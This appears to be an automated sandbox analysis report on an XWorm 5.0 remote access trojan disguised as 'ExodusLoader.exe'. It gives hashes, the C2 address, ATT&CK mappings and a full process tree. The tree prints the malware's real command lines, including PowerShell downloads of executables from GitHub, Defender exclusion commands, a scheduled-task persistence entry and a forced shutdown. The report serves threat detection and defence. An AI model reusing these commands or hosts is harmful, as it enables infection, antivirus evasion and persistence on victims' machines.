xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Reason

Machine shutdown

General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2636-73-0x00000000006B0000-0x00000000006BE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	880	powershell.exe
10	880	powershell.exe
34	1044	powershell.exe
35	1044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
880	powershell.exe
1044	powershell.exe
852	powershell.exe
3400	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
35	1044	powershell.exe
10	880	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 3 IoCs

pid	Process
4468	ExodusInject.exe
3784	Exodus.exe
2636	AggregatorHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
35	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2876	timeout.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "127"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3260	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
880	powershell.exe
880	powershell.exe
1044	powershell.exe
1044	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
3400	powershell.exe
3400	powershell.exe
3400	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	4468	ExodusInject.exe
Token: SeBackupPrivilege	2024	vssvc.exe
Token: SeRestorePrivilege	2024	vssvc.exe
Token: SeAuditPrivilege	2024	vssvc.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	2636	AggregatorHost.exe
Token: SeDebugPrivilege	2636	AggregatorHost.exe
Token: SeShutdownPrivilege	3860	shutdown.exe
Token: SeRemoteShutdownPrivilege	3860	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4072	LogonUI.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4916	4972	ExodusLoader.exe	85
PID 4972 wrote to memory of 4916	4972	ExodusLoader.exe	85
PID 4916 wrote to memory of 880	4916	cmd.exe	86
PID 4916 wrote to memory of 880	4916	cmd.exe	86
PID 4916 wrote to memory of 1044	4916	cmd.exe	93
PID 4916 wrote to memory of 1044	4916	cmd.exe	93
PID 4916 wrote to memory of 4468	4916	cmd.exe	97
PID 4916 wrote to memory of 4468	4916	cmd.exe	97
PID 4916 wrote to memory of 3784	4916	cmd.exe	98
PID 4916 wrote to memory of 3784	4916	cmd.exe	98
PID 4468 wrote to memory of 852	4468	ExodusInject.exe	102
PID 4468 wrote to memory of 852	4468	ExodusInject.exe	102
PID 4468 wrote to memory of 3400	4468	ExodusInject.exe	104
PID 4468 wrote to memory of 3400	4468	ExodusInject.exe	104
PID 4468 wrote to memory of 2260	4468	ExodusInject.exe	109
PID 4468 wrote to memory of 2260	4468	ExodusInject.exe	109
PID 2260 wrote to memory of 2876	2260	cmd.exe	111
PID 2260 wrote to memory of 2876	2260	cmd.exe	111
PID 2636 wrote to memory of 3260	2636	AggregatorHost.exe	112
PID 2636 wrote to memory of 3260	2636	AggregatorHost.exe	112
PID 2636 wrote to memory of 3860	2636	AggregatorHost.exe	123
PID 2636 wrote to memory of 3860	2636	AggregatorHost.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A6DF.tmp\A6E0.tmp\A6E1.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDEB7.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2876
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:3784

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3260
- C:\Windows\system32\shutdown.exe
  shutdown.exe /f /s /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3860

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3975055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
636d0a4204c5fb9ee833b9818dd657f8

SHA1
3192acbf342deb46a7e305121d2e6aad3efd2157

SHA256
0cabaf308937e0961d4c9ca9168c6a795dd3063ba405cc80efe7afba7e1590f8

SHA512
630ab403f500f825e019c72cf15c96139fb85ed95c5566677c6fc80a36fe60624cd4cf513faf8a31d0bb0f03717d5090e7c0237dce339b2373673782a3409b8b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f4cd59fec6cf54c85fc53e911914bf82

SHA1
50c1bf0969af6099d4b602a1d923a9b693a9b9ff

SHA256
70329406d55a7f671e2c30943772bfde19ceb53f7a402222aa0f74669f741f17

SHA512
5cfc2de8d95b1670570908c65389391f107d0f023f8a92412f001bb61982301e3405b692390c502b3f302df907fa1231cd056863cc9151dbbdb59c579858d5dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\A6DF.tmp\A6E0.tmp\A6E1.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mg5gxo5r.uk4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDEB7.tmp.bat

Filesize
164B

MD5
35ae3b57676d0cde9b8e73c7a97bb6c2

SHA1
64bf67511a05a89aa44c6581724c89d0d97d80a0

SHA256
5e4567f63f6baf09c8554b4baed5e4e44704194a6926c1ca3ac71c73b9ac6da2

SHA512
80ce739fcfe38d34d93a6a303aa81116e782be04e069a18ddbcf07cb37a5fc16eaa08df81cbf9ba55a145ee7766c0eae86a0091ebf36928d1d079a3cb9a990f8

Download Submit
memory/880-14-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/880-18-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/880-13-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/880-3-0x0000016FA6080000-0x0000016FA60A2000-memory.dmp

Filesize
136KB

Download
memory/880-2-0x00007FFCF8CB3000-0x00007FFCF8CB5000-memory.dmp

Filesize
8KB

Download
memory/1044-22-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/1044-21-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/1044-35-0x0000026922770000-0x000002692298C000-memory.dmp

Filesize
2.1MB

Download
memory/1044-36-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/1044-20-0x00007FFCF8CB0000-0x00007FFCF9771000-memory.dmp

Filesize
10.8MB

Download
memory/2636-73-0x00000000006B0000-0x00000000006BE000-memory.dmp

Filesize
56KB

Download
memory/2636-78-0x000000001AE20000-0x000000001AE2C000-memory.dmp

Filesize
48KB

Download
memory/4468-42-0x00000000001F0000-0x0000000000230000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads